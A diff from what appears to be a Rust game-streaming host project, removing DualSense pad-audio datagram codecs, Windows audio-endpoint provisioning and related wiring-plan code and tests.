b.extend_from_slice(&seq.to_le_bytes());
b.extend_from_slice(&pts_ns.to_le_bytes());
b.extend_from_slice(opus);
b
}
/// Parse a pad-audio datagram → [`PadAudioFrame`]. `None` on bad tag/length (the fixed header
/// length bounds every read before it happens).
pub fn decode_pad_audio_datagram(buf: &[u8]) -> Option<PadAudioFrame> {
if buf.len() < PAD_AUDIO_HEADER_LEN || buf[0] != PAD_AUDIO_MAGIC {
return None;
}
Some(PadAudioFrame {
pad: buf[1],
kind: buf[2],
seq: u32::from_le_bytes(buf[3..7].try_into().unwrap()),
pts_ns: u64::from_le_bytes(buf[7..15].try_into().unwrap()),
opus: buf[15..].to_vec(),
})
}
#[cfg(test)]
mod tests {
use crate::quic::*;
@@ -1383,12 +1281,6 @@ mod tests {
f
},
},
// The DS5 audio-control region (haptics-select + speaker volume asserted).
HidOutput::AudioCtl {
pad: 1,
flags: 0b0_0101,
raw: [0x50, 0x60, 0x70, 0x05, 0x00, 0x00],
},
];
for ev in &cases {
let d = ev.encode();
@@ -1407,92 +1299,6 @@ mod tests {
)
.is_none());
}
#[test]
fn audio_ctl_wire_layout_and_truncation() {
// The exact 11-byte layout: [0xCD][0x06][u16 pad LE][u8 flags][6 raw bytes].
// The pad is deliberately a REPRESENTABLE one: this used to assert that 0x0201 (513)
// round-tripped, which pinned B27's aliasing in place as if it were the contract.
let a = HidOutput::AudioCtl {
pad: 0x000B,
flags: 0x17,
raw: [1, 2, 3, 4, 5, 6],
};
let d = a.encode();
assert_eq!(d, [0xCD, 0x06, 0x0B, 0x00, 0x17, 1, 2, 3, 4, 5, 6]);
assert_eq!(HidOutput::decode(&d), Some(a));
// Truncated buffers are rejected outright (fixed length — never a partial read).
for n in 2..d.len() {
assert_eq!(HidOutput::decode(&d[..n]), None);
}
}
#[test]
fn pad_audio_datagram_roundtrip_and_truncation() {
let opus = [0x5Au8; 61];
let d = encode_pad_audio_datagram(3, PAD_AUDIO_KIND_HAPTICS, 42, 9_999, &opus);
assert_eq!(d[0], PAD_AUDIO_MAGIC);
assert_eq!(d.len(), 15 + opus.len());
let f = decode_pad_audio_datagram(&d).unwrap();
assert_eq!((f.pad, f.kind, f.seq, f.pts_ns), (3, 0, 42, 9_999));
assert_eq!(f.opus, opus);
// Truncated headers are rejected outright (never partially read).
for n in 0..15 {
assert_eq!(decode_pad_audio_datagram(&d[..n]), None);
}
// Tag separation: a pad-audio datagram is not a session-audio/mic datagram and vice-versa.
assert!(decode_audio_datagram(&d).is_none());
assert!(decode_mic_datagram(&d).is_none());
assert!(decode_pad_audio_datagram(&encode_audio_datagram(1, 2, &opus)).is_none());
// Empty payload (DTX) is legal — header-only datagram.
let hdr = encode_pad_audio_datagram(0, PAD_AUDIO_KIND_SPEAKER, 0, 0, &[]);
assert_eq!(hdr.len(), 15);
assert!(decode_pad_audio_datagram(&hdr).unwrap().opus.is_empty());
}
/// B27: the pad is the only u16 index on the 0xCD plane and every consumer narrows it with
/// `as u8`. An out-of-range one used to alias onto a real slot instead of being refused —
/// wire pad 256 steering pad 0's speaker volumes.
#[test]
fn audio_ctl_rejects_a_pad_outside_the_index_space() {
let ok = HidOutput::AudioCtl {
pad: (crate::input::MAX_PADS - 1) as u16,
flags: 0x12,
raw: [1, 2, 3, 4, 5, 6],
};
assert_eq!(
HidOutput::decode(&ok.encode()),
Some(ok),
"the last valid pad must still decode"
);
// Anything at or above MAX_PADS is refused outright, not truncated.
for pad in [crate::input::MAX_PADS as u16, 256, u16::MAX] {
let d = HidOutput::AudioCtl {
pad,
flags: 0x12,
raw: [1, 2, 3, 4, 5, 6],
}
.encode();
assert_eq!(HidOutput::decode(&d), None, "pad {pad} must not decode");
}
// The specific alias the bug produced: 256 as u8 == 0.
let d = HidOutput::AudioCtl {
pad: 256,
flags: 0,
raw: [0; 6],
}
.encode();
assert!(
!matches!(
HidOutput::decode(&d),
Some(HidOutput::AudioCtl { pad: 0, .. })
),
"wire pad 256 must never surface as pad 0"
);
}
#[test]
fn cursor_state_roundtrip() {
for (flags, x, y) in [
+1 -1
View File
@@ -25,7 +25,7 @@
//! Split by concern (networking-audit deferred plan §3 — a pure move): `handshake` the
//! positional Hello/Welcome/Start codecs, `caps` the capability/codec-negotiation
//! vocabulary, `control` the typed control + clipboard messages, `pairing` the pairing
//! message codecs with [`pake`] the SPAKE2 itself, `datagram` the 0xC90xD1 plane codecs,
//! message codecs with [`pake`] the SPAKE2 itself, `datagram` the 0xC90xCF plane codecs,
//! `pen` the stylus batch (0xCC kind 0x05) + host stroke tracker,
//! [`io`] framed stream IO, `clock` skew estimation + mid-stream re-sync, [`endpoint`] the
//! quinn constructors, [`clipstream`] the per-transfer clipboard fetch streams. Every item
-11
View File
@@ -259,17 +259,6 @@ windows = { version = "0.62", features = [
# CoCreateInstance(PolicyConfigClient) — set the default audio playback/recording endpoints via the
# undocumented IPolicyConfig (audio/windows/audio_control.rs) so mic + desktop audio auto-wire.
"Win32_System_Com",
# Pad-audio endpoint provisioning (audio/windows/pad_endpoint.rs): IMMDevice + IPropertyStore
# to stamp the DualSense identity onto the minted endpoints (PROPVARIANT lives in
# StructuredStorage and is gated on the Variant feature), DEVPKEY_Device_DriverInfPath to
# resolve the installed Steam Streaming Speakers INF, and raw Reg* calls behind the MMDevices
# ACL repair + the devnode's pad-index marker value.
"Win32_Media_Audio",
"Win32_UI_Shell_PropertiesSystem",
"Win32_System_Com_StructuredStorage",
"Win32_System_Variant",
"Win32_Devices_Properties",
"Win32_System_Registry",
# SetUnhandledExceptionFilter + EXCEPTION_POINTERS — the last-resort native-crash logger
# (src/windows/crash.rs); Kernel gates the CONTEXT type EXCEPTION_POINTERS embeds.
"Win32_System_Diagnostics_Debug",
-6
View File
@@ -183,12 +183,6 @@ pub fn open_virtual_mic(_channels: u32) -> Result<Box<dyn VirtualMic>> {
mod audio_control;
#[cfg(target_os = "linux")]
mod linux;
// DualSense pad-audio endpoint provisioning + loopback capture (design: pad haptics/audio).
// pub(crate): the session layer queries endpoints by pad index and the CLI exposes the
// `pad-endpoint` devtest.
#[cfg(target_os = "windows")]
#[path = "audio/windows/pad_endpoint.rs"]
pub(crate) mod pad_endpoint;
#[cfg(target_os = "windows")]
#[path = "audio/windows/wasapi_cap.rs"]
mod wasapi_cap;
@@ -143,17 +143,6 @@ pub(crate) fn wire_now(set_playback: bool) -> Wiring {
wire_now_full(set_playback).wiring
}
/// Endpoint ids among `renders` that are the host's own pad-audio endpoints — the exclusion
/// data [`plan`] runs on. Detection lives in [`super::pad_endpoint`] (stamped PFDS container /
/// devnode marker, registry-only reads); this is just the per-pass collection.
fn pad_render_ids(renders: &[Endpoint]) -> Vec<String> {
renders
.iter()
.filter(|(_, id)| super::pad_endpoint::is_pad_render_endpoint(id))
.map(|(_, id)| id.clone())
.collect()
}
/// Enumerate endpoints, compute the assignment, apply the default-device changes (unless
/// `PUNKTFUNK_KEEP_DEFAULT`), and return the plan for the caller to act on (mic target / loopback
/// echo guard). `set_playback` — true only from the desktop-audio capture open — additionally
@@ -170,10 +159,6 @@ pub(crate) fn wire_now_full(set_playback: bool) -> WiredPlan {
let want = std::env::var("PUNKTFUNK_MIC_DEVICE")
.ok()
.map(|s| s.to_lowercase());
// The host's own pad-audio ("DualSense speaker") endpoints, by id — the pure plan filters
// them out of every role. Identity is platform data (stamped container / devnode marker),
// so it is collected HERE and passed in, like the candidate lists themselves.
let pad_ids = pad_render_ids(&renders);
// Mix formats are read only when we are actually going to park the playback default (i.e. a
// desktop-audio capture is opening). The mic pump wires on every open while the host is idle
// and does not care which loopback endpoint wins, so it must not pay an IAudioClient
@@ -194,7 +179,6 @@ pub(crate) fn wire_now_full(set_playback: bool) -> WiredPlan {
// only count a *narrowing* verdict can be made against without guessing: an endpoint that
// cannot carry stereo cannot carry 5.1 either.
2,
&pad_ids,
);
let done = |wiring: Wiring| WiredPlan {
wiring,
@@ -261,7 +245,7 @@ pub(crate) fn wire_now_full(set_playback: bool) -> WiredPlan {
if let Some((mic_name, mic_id)) = &wiring.mic_render {
if default_render_id().as_deref() == Some(mic_id.as_str()) {
// Audible preference = the host_audio plan's loopback pick (real hardware first).
match plan(&renders, &captures, want.as_deref(), true, &pad_ids).loopback_render {
match plan(&renders, &captures, want.as_deref(), true).loopback_render {
Some((name, id)) => match set_default_endpoint(&id) {
Ok(()) => tracing::info!(mic = %mic_name, device = %name,
"default playback was the virtual-mic target — moved it so desktop \
@@ -318,10 +302,8 @@ fn park_marker_path() -> std::path::PathBuf {
pf_paths::config_dir().join("audio-default.prev")
}
/// The current default RENDER endpoint id, if any. pub(crate): the pad-endpoint provisioning
/// uses it for its default-device guard (a freshly minted pad endpoint must never stay the
/// default playback device).
pub(crate) fn default_render_id() -> Option<String> {
/// The current default RENDER endpoint id, if any.
fn default_render_id() -> Option<String> {
wasapi::DeviceEnumerator::new()
.ok()?
.get_default_device(&Direction::Render)
@@ -448,13 +430,11 @@ pub(crate) fn restore_default_playback() {
}
/// Open a device by endpoint id, with a name for error context.
///
/// Resolves through [`super::pad_endpoint::open_wasapi_device`], NOT the `wasapi` crate's
/// `DeviceEnumerator::get_device` — that one hands `GetDevice` a freed string (see the helper's
/// docs), so it fails at random on ids that are perfectly valid.
pub(crate) fn open_endpoint(ep: &Endpoint) -> Result<wasapi::Device> {
super::pad_endpoint::open_wasapi_device(&ep.1)
.map_err(|e| anyhow!("open endpoint {:?}: {e:#}", ep.0))
wasapi::DeviceEnumerator::new()
.map_err(|e| anyhow!("DeviceEnumerator: {e}"))?
.get_device(&ep.1)
.map_err(|e| anyhow!("open endpoint {:?}: {e}", ep.0))
}
// --- IPolicyConfig (undocumented): set a default audio endpoint by id, for all three roles. ---
@@ -501,9 +481,8 @@ const _: () = {
/// Set `device_id` as the default audio endpoint for eConsole/eMultimedia/eCommunications via the
/// undocumented `IPolicyConfig::SetDefaultEndpoint` (the call `mmsys.cpl` makes). Errs if any role
/// fails. pub(crate): the pad-endpoint default-device guard restores the operator's default
/// through the same machinery.
pub(crate) fn set_default_endpoint(device_id: &str) -> Result<()> {
/// fails.
fn set_default_endpoint(device_id: &str) -> Result<()> {
use windows::core::{IUnknown, Interface, GUID, PCWSTR};
use windows::Win32::System::Com::{CoCreateInstance, CLSCTX_ALL};
File diff suppressed because it is too large Load Diff
@@ -511,7 +511,7 @@ fn capture_once(
if assert_plan {
if let Some(d) = seen_default.as_deref() {
if d != dev_id {
match judge_default(wiring, d) {
match judge_default(&en, wiring, d) {
DefaultKind::Capturable(name) => {
tracing::info!(default = %name, planned = %dev_name,
"could not park the default playback on the planned endpoint — \
@@ -639,7 +639,7 @@ fn capture_once(
);
return Ok(Next::Reopen(TargetMode::Follow));
}
match judge_default(wiring, &nid) {
match judge_default(&en, wiring, &nid) {
DefaultKind::Capturable(name) => {
audio_client.stop_stream().ok();
tracing::info!(device = %name,
@@ -726,11 +726,8 @@ enum DefaultKind {
Unknown,
}
/// Resolves through [`super::pad_endpoint::open_wasapi_device`], NOT the `wasapi` crate's
/// `DeviceEnumerator::get_device` — that one hands `GetDevice` a freed string (see the helper's
/// docs), and a spurious miss here silently downgrades a capturable default to `Unknown`.
fn judge_default(wiring: &wiring_plan::Wiring, id: &str) -> DefaultKind {
let Ok(dev) = super::pad_endpoint::open_wasapi_device(id) else {
fn judge_default(en: &DeviceEnumerator, wiring: &wiring_plan::Wiring, id: &str) -> DefaultKind {
let Ok(dev) = en.get_device(id) else {
return DefaultKind::Unknown;
};
let name = dev.get_friendlyname().unwrap_or_default();
@@ -739,15 +736,7 @@ fn judge_default(wiring: &wiring_plan::Wiring, id: &str) -> DefaultKind {
.mic_render
.as_ref()
.is_some_and(|(_, mic_id)| mic_id == id);
// B10: a pad's audio endpoint is not ordinary hardware, and the name rules cannot see that —
// it is deliberately stamped with the controller's own name ("DualSense Wireless Controller")
// so games treat it as the pad's speaker, which means `excluded_from_loopback` passes it
// straight through as `Capturable`. The pure plan filtered these out, but the plan is not the
// only reader: this classifier drives the watchdog, Follow mode and the parked default, so a
// pad endpoint that happened to be the system default could be adopted as the desktop capture
// source — sending the whole desktop mix to a controller's voice coils. Identity, not name.
let is_pad = super::pad_endpoint::is_pad_render_endpoint(id);
if is_mic || is_pad || wiring_plan::excluded_from_loopback(&ln) {
if is_mic || wiring_plan::excluded_from_loopback(&ln) {
DefaultKind::Dud(name)
} else {
DefaultKind::Capturable(name)
@@ -253,16 +253,25 @@ pub(crate) fn install_steam_audio_pair() -> bool {
mic || spk
}
/// Full path of a Steam Remote Play driver INF under Steam's per-arch driver directory
/// (`%CommonProgramFiles(x86)%\Steam\drivers\Windows10\{arch}\<inf_name>`), as a NUL-terminated
/// UTF-16 buffer. Shared by [`try_install_steam_audio`] and the pad-endpoint provisioning
/// ([`super::pad_endpoint`]), which feeds the same INF to `UpdateDriverForPlugAndPlayDevicesW`
/// when no installed Steam Streaming Speakers devnode exposes its `oemNN.inf`. `None` when the
/// environment expansion fails (existence is the caller's check).
pub(crate) fn steam_driver_inf_path(inf_name: &str) -> Option<Vec<u16>> {
use windows::core::PCWSTR;
/// Install one Steam Streaming driver INF by filename via `DiInstallDriverW` (loaded from
/// `newdev.dll`, like Apollo, to avoid an extra windows-crate feature). See
/// [`install_steam_audio_pair`] for the contract; `inf_name` is a bare filename under Steam's
/// per-arch `drivers\Windows10\{arch}\` directory.
///
/// Safe: `inf_name` is a `&str` and every FFI argument is built locally from it, so there is no
/// precondition a caller could break — the `unsafe` is the `LoadLibraryExW`/`transmute`/call chain
/// inside, which is this function's own business.
fn try_install_steam_audio(inf_name: &str) -> bool {
use windows::core::{s, w, PCWSTR};
use windows::Win32::Foundation::HWND;
use windows::Win32::System::Environment::ExpandEnvironmentStringsW;
use windows::Win32::System::LibraryLoader::{
GetProcAddress, LoadLibraryExW, LOAD_LIBRARY_SEARCH_SYSTEM32,
};
if std::env::var_os("PUNKTFUNK_NO_MIC_INSTALL").is_some() {
return false;
}
// Steam ships per-arch driver INFs under `Steam\drivers\Windows10\{arch}\`.
#[cfg(target_arch = "x86_64")]
let subdir = "x64";
@@ -281,33 +290,8 @@ pub(crate) fn steam_driver_inf_path(inf_name: &str) -> Option<Vec<u16>> {
let n =
unsafe { ExpandEnvironmentStringsW(PCWSTR(template.as_ptr()), Some(path.as_mut_slice())) };
if n == 0 || n as usize > path.len() {
return None;
}
path.truncate(n as usize); // keeps the NUL
Some(path)
}
/// Install one Steam Streaming driver INF by filename via `DiInstallDriverW` (loaded from
/// `newdev.dll`, like Apollo, to avoid an extra windows-crate feature). See
/// [`install_steam_audio_pair`] for the contract; `inf_name` is a bare filename under Steam's
/// per-arch `drivers\Windows10\{arch}\` directory.
///
/// Safe: `inf_name` is a `&str` and every FFI argument is built locally from it, so there is no
/// precondition a caller could break — the `unsafe` is the `LoadLibraryExW`/`transmute`/call chain
/// inside, which is this function's own business.
fn try_install_steam_audio(inf_name: &str) -> bool {
use windows::core::{s, w, PCWSTR};
use windows::Win32::Foundation::HWND;
use windows::Win32::System::LibraryLoader::{
GetProcAddress, LoadLibraryExW, LOAD_LIBRARY_SEARCH_SYSTEM32,
};
if std::env::var_os("PUNKTFUNK_NO_MIC_INSTALL").is_some() {
return false;
}
let Some(path) = steam_driver_inf_path(inf_name) else {
return false;
};
// SAFETY: a static NUL-terminated literal, loaded from System32 only (the flag), so this cannot
// pick up a planted `newdev.dll` from the working directory. The handle is checked before use.
+27 -120
View File
@@ -186,17 +186,6 @@ fn virtualish(lname: &str) -> bool {
|| lname.contains("voicemeeter")
}
/// Is this render endpoint id one of the virtual pad's audio endpoints?
///
/// Pulled out of [`plan`] because the plan is NOT the only place that must not treat these as
/// ordinary hardware — see [`excluded_from_loopback`]'s callers. A pad endpoint is deliberately
/// stamped with the controller's own name ("DualSense Wireless Controller") so games read it as
/// the pad's speaker, which means no name-based rule can recognise one; the only reliable test is
/// identity against the ids the pad-endpoint provisioner created.
pub(crate) fn is_pad_render(id: &str, pad_renders: &[String]) -> bool {
pad_renders.iter().any(|p| p == id)
}
/// Compute the assignment. `mic_want` is the operator override (`PUNKTFUNK_MIC_DEVICE`,
/// lowercased): when set it beats the built-in candidate order for the mic target. `host_audio`
/// flips the loopback preference to real hardware (audio audible on the host too); the default
@@ -206,17 +195,8 @@ pub(crate) fn plan(
captures: &[Endpoint],
mic_want: Option<&str>,
host_audio: bool,
pad_renders: &[String],
) -> Wiring {
plan_with_formats(
renders,
captures,
mic_want,
host_audio,
&no_formats,
2,
pad_renders,
)
plan_with_formats(renders, captures, mic_want, host_audio, &no_formats, 2)
}
/// [`plan`] with knowledge of each render endpoint's engine mix format, and the channel count the
@@ -241,20 +221,7 @@ pub(crate) fn plan_with_formats(
host_audio: bool,
format_of: FormatProbe,
want_channels: u8,
pad_renders: &[String],
) -> Wiring {
// 0. Pad-audio endpoints are invisible to the plan: never the mic target (client voice
// would play out of a pad "speaker"), never a loopback source (a game's controller
// audio cues would stream as desktop audio), and — since this shadows `renders` for
// every tier below — never the flagged last resort either. Their names carry no virtual
// marker (they are stamped "DualSense Wireless Controller" on purpose, so games read
// them as the pad's speaker), so the name rules alone would take one for real hardware.
let renders: Vec<Endpoint> = renders
.iter()
.filter(|(_, id)| !is_pad_render(id, pad_renders))
.cloned()
.collect();
let renders = renders.as_slice();
let find_render = |needle: &str| {
renders
.iter()
@@ -455,7 +422,7 @@ mod tests {
ep("Microphone (Webcam)"),
ep("CABLE Output (VB-Audio Virtual Cable)"),
];
let w = plan(&renders, &captures, None, false, &[]);
let w = plan(&renders, &captures, None, false);
assert_eq!(
w.mic_render.unwrap().0,
"CABLE Input (VB-Audio Virtual Cable)"
@@ -484,7 +451,7 @@ mod tests {
ep("CABLE Output (VB-Audio Virtual Cable)"),
ep("Microphone (Steam Streaming Microphone)"),
];
let w = plan(&renders, &captures, None, false, &[]);
let w = plan(&renders, &captures, None, false);
assert_eq!(
w.mic_render.unwrap().0,
"CABLE Input (VB-Audio Virtual Cable)"
@@ -504,7 +471,7 @@ mod tests {
ep("CABLE Input (VB-Audio Virtual Cable)"),
ep("Speakers (Steam Streaming Microphone)"),
];
let w = plan(&renders, &[], None, true, &[]);
let w = plan(&renders, &[], None, true);
assert_eq!(
w.loopback_render.unwrap().0,
"Speakers (Apple Audio Device)"
@@ -521,7 +488,7 @@ mod tests {
ep("CABLE In 16ch (VB-Audio Virtual Cable)"),
];
for host_audio in [false, true] {
let w = plan(&renders, &[], None, host_audio, &[]);
let w = plan(&renders, &[], None, host_audio);
assert!(w.loopback_render.is_none(), "host_audio={host_audio}");
}
}
@@ -533,7 +500,7 @@ mod tests {
fn headless_cable_only_mic_wins() {
let renders = [ep("CABLE Input (VB-Audio Virtual Cable)")];
let captures = [ep("CABLE Output (VB-Audio Virtual Cable)")];
let w = plan(&renders, &captures, None, false, &[]);
let w = plan(&renders, &captures, None, false);
assert!(w.mic_render.is_some(), "mic must claim the only cable");
assert!(w.loopback_render.is_none(), "no echo-safe loopback exists");
}
@@ -551,7 +518,7 @@ mod tests {
ep("CABLE Output (VB-Audio Virtual Cable)"),
ep("Microphone (Steam Streaming Microphone)"),
];
let w = plan(&renders, &captures, None, false, &[]);
let w = plan(&renders, &captures, None, false);
assert_eq!(
w.mic_render.unwrap().0,
"CABLE Input (VB-Audio Virtual Cable)"
@@ -579,7 +546,7 @@ mod tests {
ep("Speakers (Realtek HD Audio)"),
];
let captures = [ep("Microphone (Steam Streaming Microphone)")];
let w = plan(&renders, &captures, None, false, &[]);
let w = plan(&renders, &captures, None, false);
assert_eq!(
w.mic_render.unwrap().0,
"Speakers (Steam Streaming Microphone)"
@@ -593,7 +560,7 @@ mod tests {
fn steam_mic_only_no_echo() {
let renders = [ep("Speakers (Steam Streaming Microphone)")];
let captures = [ep("Microphone (Steam Streaming Microphone)")];
let w = plan(&renders, &captures, None, false, &[]);
let w = plan(&renders, &captures, None, false);
assert!(w.mic_render.is_some());
assert!(w.loopback_render.is_none());
}
@@ -609,7 +576,7 @@ mod tests {
ep("Speakers (Steam Streaming Speakers)"),
];
for host_audio in [false, true] {
let w = plan(&renders, &[], None, host_audio, &[]);
let w = plan(&renders, &[], None, host_audio);
assert_eq!(
w.loopback_render.as_ref().unwrap().0,
"Speakers (Steam Streaming Speakers)",
@@ -630,7 +597,7 @@ mod tests {
ep("Altavoces (Steam Streaming Microphone)"),
];
let captures = [ep("Microphone (Steam Streaming Microphone)")];
let w = plan(&renders, &captures, None, false, &[]);
let w = plan(&renders, &captures, None, false);
assert_eq!(
w.mic_render.unwrap().0,
"Altavoces (Steam Streaming Microphone)"
@@ -653,7 +620,7 @@ mod tests {
];
let captures = [ep("Microphone (Steam Streaming Microphone)")];
for host_audio in [false, true] {
let w = plan(&renders, &captures, None, host_audio, &[]);
let w = plan(&renders, &captures, None, host_audio);
assert_eq!(
w.loopback_render.as_ref().unwrap().0,
"Speakers (Realtek HD Audio)",
@@ -675,7 +642,7 @@ mod tests {
];
let captures = [ep("CABLE Output (VB-Audio Virtual Cable)")];
for host_audio in [false, true] {
let w = plan(&renders, &captures, None, host_audio, &[]);
let w = plan(&renders, &captures, None, host_audio);
assert!(w.loopback_render.is_none(), "host_audio={host_audio}");
assert!(!w.loopback_last_resort, "host_audio={host_audio}");
assert!(w.loopback_unsatisfiable(), "host_audio={host_audio}");
@@ -724,7 +691,7 @@ mod tests {
("steam streaming microphone", fmt(24_000, 1)),
("odyssey", fmt(48_000, 2)),
]);
let w = plan_with_formats(&renders, &captures, None, false, &p, 2, &[]);
let w = plan_with_formats(&renders, &captures, None, false, &p, 2);
assert_eq!(
w.loopback_render.as_ref().unwrap().0,
"1 - Odyssey G60SD (AMD High Definition Audio Device)",
@@ -754,7 +721,7 @@ mod tests {
("steam streaming microphone", fmt(48_000, 2)),
("realtek", fmt(48_000, 2)),
]);
let w = plan_with_formats(&renders, &[], None, false, &p, 2, &[]);
let w = plan_with_formats(&renders, &[], None, false, &p, 2);
assert_eq!(
w.loopback_render.unwrap().0,
"Speakers (Steam Streaming Microphone)"
@@ -770,7 +737,7 @@ mod tests {
ep("Speakers (Steam Streaming Microphone)"),
];
let p = probe(vec![("steam streaming microphone", fmt(16_000, 1))]);
let w = plan_with_formats(&renders, &[], None, false, &p, 2, &[]);
let w = plan_with_formats(&renders, &[], None, false, &p, 2);
assert_eq!(
w.loopback_render.as_ref().unwrap().0,
"Speakers (Steam Streaming Microphone)"
@@ -786,7 +753,7 @@ mod tests {
fn narrowing_is_reported_for_real_hardware_too() {
let renders = [ep("Headset (Hands-Free AG Audio)")];
let p = probe(vec![("headset", fmt(16_000, 1))]);
let w = plan_with_formats(&renders, &[], None, false, &p, 2, &[]);
let w = plan_with_formats(&renders, &[], None, false, &p, 2);
assert_eq!(
w.loopback_render.as_ref().unwrap().0,
"Headset (Hands-Free AG Audio)"
@@ -806,8 +773,8 @@ mod tests {
];
let captures = [ep("CABLE Output (VB-Audio Virtual Cable)")];
for host_audio in [false, true] {
let a = plan(&renders, &captures, None, host_audio, &[]);
let b = plan_with_formats(&renders, &captures, None, host_audio, &no_formats, 2, &[]);
let a = plan(&renders, &captures, None, host_audio);
let b = plan_with_formats(&renders, &captures, None, host_audio, &no_formats, 2);
assert_eq!(a, b, "host_audio={host_audio}");
assert!(a.loopback_narrowing.is_none());
}
@@ -825,7 +792,7 @@ mod tests {
("steam streaming microphone", fmt(24_000, 1)),
("realtek", fmt(48_000, 2)),
]);
let w = plan_with_formats(&renders, &[], None, true, &p, 2, &[]);
let w = plan_with_formats(&renders, &[], None, true, &p, 2);
assert_eq!(w.loopback_render.unwrap().0, "Speakers (Realtek HD Audio)");
}
@@ -853,7 +820,7 @@ mod tests {
ep("Voicemeeter Input (VB-Audio Voicemeeter VAIO)"),
];
let captures = [ep("Voicemeeter Out B1 (VB-Audio Voicemeeter VAIO)")];
let w = plan(&renders, &captures, Some("voicemeeter input"), false, &[]);
let w = plan(&renders, &captures, Some("voicemeeter input"), false);
assert_eq!(
w.mic_render.unwrap().0,
"Voicemeeter Input (VB-Audio Voicemeeter VAIO)"
@@ -869,7 +836,7 @@ mod tests {
#[test]
fn no_virtual_device() {
let renders = [ep("Speakers (Realtek HD Audio)")];
let w = plan(&renders, &[], None, false, &[]);
let w = plan(&renders, &[], None, false);
assert!(w.mic_render.is_none());
assert_eq!(w.loopback_render.unwrap().0, "Speakers (Realtek HD Audio)");
}
@@ -887,7 +854,7 @@ mod tests {
];
let captures = [ep("Voicemeeter Out B1 (VB-Audio Voicemeeter VAIO)")];
for host_audio in [false, true] {
let w = plan(&renders, &captures, None, host_audio, &[]);
let w = plan(&renders, &captures, None, host_audio);
assert_eq!(
w.mic_render.as_ref().unwrap().0,
"Voicemeeter Input (VB-Audio Voicemeeter VAIO)",
@@ -910,7 +877,7 @@ mod tests {
ep("Voicemeeter Aux Input (VB-Audio Voicemeeter AUX VAIO)"),
];
for host_audio in [false, true] {
let w = plan(&renders, &[], None, host_audio, &[]);
let w = plan(&renders, &[], None, host_audio);
assert!(w.mic_render.is_some(), "host_audio={host_audio}");
assert!(w.loopback_render.is_none(), "host_audio={host_audio}");
}
@@ -925,7 +892,7 @@ mod tests {
ep("CABLE Input (VB-Audio Virtual Cable)"),
ep("Speakers (Some Virtual Audio Device)"),
];
let w = plan(&renders, &[], None, false, &[]);
let w = plan(&renders, &[], None, false);
assert!(w.loopback_render.is_none());
}
@@ -951,7 +918,7 @@ mod tests {
// Field shape minus the Speakers (mic holds the Streaming Microphone, nothing else).
let renders = [ep("Altavoces (Steam Streaming Microphone)")];
let captures = [ep("Microphone (Steam Streaming Microphone)")];
let w = plan(&renders, &captures, None, false, &[]);
let w = plan(&renders, &captures, None, false);
assert!(w.loopback_unsatisfiable());
let msg = describe_no_loopback(&renders, &w);
assert!(msg.contains("reserved for the virtual mic"), "{msg}");
@@ -962,70 +929,10 @@ mod tests {
// anyway), while the Steam pair is the remedy that adds a capturable sink.
let renders = [ep("CABLE Input (VB-Audio Virtual Cable)")];
let captures = [ep("CABLE Output (VB-Audio Virtual Cable)")];
let w = plan(&renders, &captures, None, false, &[]);
let w = plan(&renders, &captures, None, false);
assert!(w.loopback_unsatisfiable());
let msg = describe_no_loopback(&renders, &w);
assert!(msg.contains("install Steam"), "{msg}");
assert!(!msg.contains("install VB-Audio Virtual Cable"), "{msg}");
}
/// A stamped pad endpoint is invisible to the plan. Its name carries NO virtual marker — on
/// purpose, games must read it as the pad's speaker — so the name rules alone would classify
/// it as real hardware and hand it the loopback; only the id exclusion prevents that.
/// Measured fact: the wiring plan on the target box already enumerated a stamped endpoint.
#[test]
fn pad_endpoints_invisible() {
let renders = [
ep("DualSense Wireless Controller"),
ep("Speakers (Realtek HD Audio)"),
];
let pads = [renders[0].1.clone()];
let w = plan(&renders, &[], None, false, &pads);
assert_eq!(w.loopback_render.unwrap().0, "Speakers (Realtek HD Audio)");
// Even an operator mic override matching the pad's name must not claim it; with the
// pad as the only render endpoint there is honestly no mic target and no loopback.
let w = plan(
&renders[..1],
&[],
Some("wireless controller"),
false,
&pads,
);
assert!(w.mic_render.is_none());
assert!(w.loopback_render.is_none());
}
/// The exclusion has to survive the LAST RESORT tier, which this merge introduced alongside
/// pad audio. `last_resort` matches on the Steam-Speakers name, but it reads the same
/// shadowed `renders`, so a pad can never be reached through it either — otherwise the whole
/// desktop mix would be routed into the controller's voice coils.
#[test]
fn a_pad_is_never_the_last_resort() {
// Only the pad and the Steam pair exist; the mic reserves the Streaming Microphone, so
// the plan falls all the way through to the last resort.
let renders = [
ep("DualSense Wireless Controller"),
ep("Speakers (Steam Streaming Microphone)"),
ep("Speakers (Steam Streaming Speakers)"),
];
let captures = [ep("Microphone (Steam Streaming Microphone)")];
let pads = [renders[0].1.clone()];
let w = plan(&renders, &captures, None, false, &pads);
assert_eq!(
w.loopback_render.as_ref().unwrap().0,
"Speakers (Steam Streaming Speakers)",
"the last resort must skip the pad"
);
assert!(w.loopback_last_resort);
// …and with the pad as the ONLY candidate left, the plan stays honestly unsatisfiable
// rather than falling back onto the coils.
let w = plan(&renders[..1], &captures, None, false, &pads);
assert!(
w.loopback_render.is_none(),
"a pad was taken as the last resort"
);
assert!(!w.loopback_last_resort);
assert!(w.loopback_unsatisfiable());
}
}
-115
View File
@@ -384,7 +384,6 @@ pub fn dualsense_windows_test(args: &[String]) -> Result<()> {
index: idx,
kind: 2,
capabilities: 0,
audio_caps: 0,
});
println!(
"virtual {} up — cycling Cross + sweeping the left stick for {secs}s. Watch \
@@ -431,7 +430,6 @@ pub fn dualsense_windows_test(args: &[String]) -> Result<()> {
index: idx,
kind: 1,
capabilities: 0,
audio_caps: 0,
});
println!(
"virtual Xbox 360 (XUSB) up — sweeping LS + toggling A for {secs}s. Check with \
@@ -488,119 +486,6 @@ pub fn dualsense_windows_test(args: &[String]) -> Result<()> {
Ok(())
}
/// Windows: pad-audio endpoint provisioning — `pad-endpoint ensure|remove|status [--index N]`.
/// `ensure` runs the idempotent startup path (reuse-or-create the devnode, bind the Steam
/// Streaming Speakers driver, stamp the DualSense identity + 4ch/48k formats, report whether
/// the stamps are SERVED); `status` prints the devnode/endpoint and per-stamp stored vs served
/// state without changing anything; `remove` deletes the devnode via pnputil — the escape
/// hatch only, endpoints are persistent by design. Stamping needs SYSTEM (the MMDevices ACL);
/// run `ensure` under the service account or PsExec when the property-store route is denied.
#[cfg(target_os = "windows")]
pub fn pad_endpoint(args: &[String]) -> Result<()> {
use crate::audio::pad_endpoint as pe;
let idx: u8 = args
.iter()
.skip_while(|a| *a != "--index")
.nth(1)
.and_then(|s| s.parse().ok())
.unwrap_or(0);
// `--endpoint <id>` drives ANY render endpoint, not just a provisioned pad one. It is the
